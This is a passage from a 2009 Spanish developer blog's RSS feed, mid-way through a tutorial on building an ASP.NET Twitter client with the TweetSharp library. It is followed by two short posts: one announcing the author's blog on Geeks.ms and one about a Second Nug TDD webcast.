<p class="MsoNormal"><span style="font-family:Calibri;font-size:small;">&nbsp;</span></p>
<p class="MsoNormal">3.- Ahora es el momento de dotar al formulario de su funcionalidad. Abrimos el codebehind del formulario, o sea el archivo Default.aspx.cs.</p>
<p class="MsoNormal">Importamos los Namespaces que vamos a utilizar:</p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">using</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> System;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">using</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> System.Collections.Generic;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">using</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> System.Web;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">using</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> System.Web.UI;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">using</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> System.Web.UI.WebControls;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:green;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">// Provides access to the fluent API; required </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">using</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> Dimebrain.TweetSharp.Fluent;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:green;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">// Provides access to the data classes that represent Twitter results </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">using</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> Dimebrain.TweetSharp.Model;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:green;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">// Provides access to features like relative time, and casting from XML/JSON to </span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:green;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">// Twitter data classes </span></p>
<p class="MsoNormal"><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">using</span><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> Dimebrain.TweetSharp.Extensions;</span></p>
</div>
<p class="MsoNormal"><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">como podemos ver los tres &uacute;ltimos son los que vamos a utilizar para utilizar la tweet# API.</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">Dentro de la clase tenemos una variable del tipo indicado que es la que nos va a almacenar la colecci&oacute;n de nuestras entradas (estados) en Twitter. Va a contener diversos campos que podemos ver en la documentaci&oacute;n como nombre del usuario, fecha de creaci&oacute;n del post, texto del mensaje&hellip;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">protected</span><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> System.Collections.Generic.<span style="color:#2b91af;">IEnumerable</span>&lt;Dimebrain.TweetSharp.Model.<span style="color:#2b91af;">TwitterStatus</span>&gt; statuses; </span><span lang="EN-US" style="mso-ansi-language:EN-US;"></span></p>
</div>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal">y ahora pasamos a ver el c&oacute;digo del bot&oacute;n. Para generar el evento Click, hacemos doble clic sobre el bot&oacute;n en modo dise&ntilde;o:</p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">protected</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> <span style="color:blue;">void</span> BtnEnviarTwitter_Click(<span style="color:blue;">object</span> sender, <span style="color:#2b91af;">EventArgs</span> e)</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">var</span> twitter = <span style="color:#2b91af;">FluentTwitter</span>.CreateRequest()</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>.AuthenticateAs(<span style="color:#a31515;">&quot;joaquin_sosa&quot;</span>, <span style="color:#a31515;">&quot;password&quot;</span>)</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>.Statuses().Update(TxtMsgTwitter.Text)</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>.AsJson();</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">var</span> response = twitter.Request();</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">bool</span> resultado = response.IsTwitterError;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp; </span></span><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">}</span></p>
</div>
<p class="MsoNormal">&nbsp;</p>
<p class="MsoNormal">Como vemos en este m&eacute;todo definimos la variable twitter que nos va a permitir insertar un nuevo estado en Twitter.<span style="mso-spacerun:yes;">&nbsp; </span>Crea la petici&oacute;n, se autentica con el usuario y contrase&ntilde;a y luego ejecuta una actualizaci&oacute;n del estado pas&aacute;ndole lo que escribamos en el cuadro de texto y el resultado lo env&iacute;a siguiendo JSON. </p>
<p class="MsoNormal">En la documentaci&oacute;n podemos ver diferentes m&eacute;todos de formato del mensaje XML, JSON, RSS, ATOM&hellip;</p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">var</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> response = twitter.Request();</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">bool</span> resultado = response.IsTwitterError;</span></p>
</div>
<p class="MsoNormal"><span lang="EN-US" style="mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal">Con estas sentencias puedo comprobar si ha ocurrido alg&uacute;n error en la actualizaci&oacute;n del estado.</p>
<p class="MsoNormal">&nbsp;</p>
<p class="MsoNormal">Perfecto. Ya hemos insertado un nuevo estado en Twitter desde nuestra aplicaci&oacute;n.</p>
<p class="MsoNormal">Pero quiero comprobar que efectivamente se est&aacute;n insertando. Para ello utilizamos el FormView y lo que hacemos es que en el Page_Load cargamos este control.</p>
<p class="MsoNormal">Defino un m&eacute;todo para clarificar el c&oacute;digo:</p>
<p class="MsoNormal">&nbsp;</p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">private</span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"> <span style="color:blue;">void</span> GetTwitterPosts()</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:green;"></span></span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">var</span> twitter = <span style="color:#2b91af;">FluentTwitter</span>.CreateRequest()</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>.AuthenticateAs(<span style="color:#a31515;">&quot;joaquin_sosa&quot;</span>, <span style="color:#a31515;">&quot;password&quot;</span>)</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>.Statuses().OnUserTimeline().AsJson();</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family:&#39;Courier New&#39;;color:green;font-size:10pt;mso-no-proof:yes;">// llamada secuencial a los datos</span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">var</span> response = twitter.Request();</span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:green;">// convertimos la respuesta a clases de datos<span style="mso-spacerun:yes;">&nbsp;&nbsp; </span></span></span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">statuses = response.AsStatuses();</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;color:green;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;">&nbsp;</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="color:blue;">if</span> (LVTwitter != <span style="color:blue;">null</span>)</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>LVTwitter.DataSource = statuses.Since((<span style="color:#2b91af;">DateTime</span>.Now).AddDays(-15));</span></p>
<p class="MsoNormal"><span lang="EN-US" style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;mso-ansi-language:EN-US;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">LVTwitter.DataBind();</span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></p>
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp; </span>}</span></p>
</div>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"></span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">Nos fijamos primero que despu&eacute;s de autenticarnos pedimos los estados en la l&iacute;nea de tiempo del usuario (OnUserTimeline) y los formateamos en JSON. Podemos ver en la documentaci&oacute;n todo lo que podemos obtener a partir del Statuses (OnHome, OnList, OnPublic&hellip;).</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">Obtenemos los datos y los convertimos y finalmente le decimos el or&iacute;gen de datos al ListView. </span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">Yo he a&ntilde;adido la extensi&oacute;n <b style="mso-bidi-font-weight:normal;">Since</b> que me permita especificar desde cuando quiero recibir los estados.</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">Y hacemos el DataBind del control.</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">Finalmente en el Page_Load hacemos</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"></span></p>
<div style="padding-bottom:1pt;padding-left:4pt;padding-right:4pt;background:#ddd9c3;padding-top:1pt;mso-element:para-border-div;mso-border-alt:dashed windowtext .5pt;mso-background-themecolor:background2;mso-background-themeshade:230;border:windowtext 1pt dashed;">
<p class="MsoNormal"><span style="font-family:&#39;Courier New&#39;;color:blue;font-size:10pt;mso-no-proof:yes;">if</span><span style="font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">(!IsPostBack)</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"><span style="mso-spacerun:yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>GetTwitterPosts();</span></p>
</div>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">&nbsp;</span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;"></span></p>
<p class="MsoNormal"><span style="line-height:115%;font-family:&#39;Courier New&#39;;font-size:10pt;mso-no-proof:yes;">Y listo, ya podemos ver nuestros estados a partir de una determinada fecha en el ListView de la derecha. Ahora podr&iacute;amos a&ntilde;adir funcionalidad AJAX a este control, para la pr&oacute;xima.</span></p>
</div>
</div>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2009/12/haciendo-un-cliente-web-para-twitter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Por fin en Geeks &#8211; jsosa</title>
		<link>http://nodevelop.com/blog/index.php/2009/12/por-fin-en-geeks-jsosa/</link>
		<comments>http://nodevelop.com/blog/index.php/2009/12/por-fin-en-geeks-jsosa/#comments</comments>
		<pubDate>Sun, 13 Dec 2009 13:39:10 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Noticia]]></category>
		<category><![CDATA[geeks]]></category>
		<category><![CDATA[Joaquin Sosa]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=58</guid>
		<description><![CDATA[Pues sí, a partir de ahora me pueden seguir también en GEEKS: http://www.geeks.ms/blogs/jsosa.
Iré añadiendo los artículos en ambos blogs simultáneamente.
Gracias a toda la comunidad y a Second Nug por permitir publicar en este medio.
]]></description>
			<content:encoded><![CDATA[<p>Pues sí, a partir de ahora me pueden seguir también en GEEKS: <a href="http://www.geeks.ms/blogs/jsosa" target="_blank">http://www.geeks.ms/blogs/jsosa</a>.<br />
Iré añadiendo los artículos en ambos blogs simultáneamente.<br />
Gracias a toda la comunidad y a Second Nug por permitir publicar en este medio.</p>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2009/12/por-fin-en-geeks-jsosa/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TDD ~ Desarrollo Conducido por Pruebas. Nuevo evento en Second Nug</title>
		<link>http://nodevelop.com/blog/index.php/2009/11/tdd-desarrollo-conducido-por-pruebas-nuevo-evento-en-second-nug/</link>
		<comments>http://nodevelop.com/blog/index.php/2009/11/tdd-desarrollo-conducido-por-pruebas-nuevo-evento-en-second-nug/#comments</comments>
		<pubDate>Sat, 28 Nov 2009 20:06:55 +0000</pubDate>
		<dc:creator>jsosa</dc:creator>
				<category><![CDATA[Eventos]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[evento]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Second Nug]]></category>
		<category><![CDATA[TDD]]></category>
		<category><![CDATA[webcast]]></category>

		<guid isPermaLink="false">http://nodevelop.com/blog/?p=54</guid>
		<description><![CDATA[El próximo 1 de diciembre es la fecha escogida por Second Nug para un nuevo evento dentro de la línea de desarrollo: 

Puedes registrarte aquí
Mas información como siempre en Second Nug
]]></description>
			<content:encoded><![CDATA[<p>El próximo 1 de diciembre es la fecha escogida por <strong>Second Nug</strong> para un nuevo evento dentro de la línea de desarrollo: </p>
<p><img src="http://www.secondnug.com/img/eventos/carteles/foro_tdd.jpg" alt="TDD" /></p>
<p>Puedes registrarte <a href="http://msevents.microsoft.com/CUI/WebCastEventDetails.aspx?EventID=1032434045&#038;EventCategory=4&#038;culture=es-AR&#038;CountryCode=AR" target="_blank"><strong>aquí</strong></a></p>
<p>Mas información como siempre en <a href="http://www.secondnug.com/EventosDesarrollo/tabid/57/Default.aspx" target="_blank"><strong>Second Nug</strong></a></p>
]]></content:encoded>
			<wfw:commentRss>http://nodevelop.com/blog/index.php/2009/11/tdd-desarrollo-conducido-por-pruebas-nuevo-evento-en-second-nug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

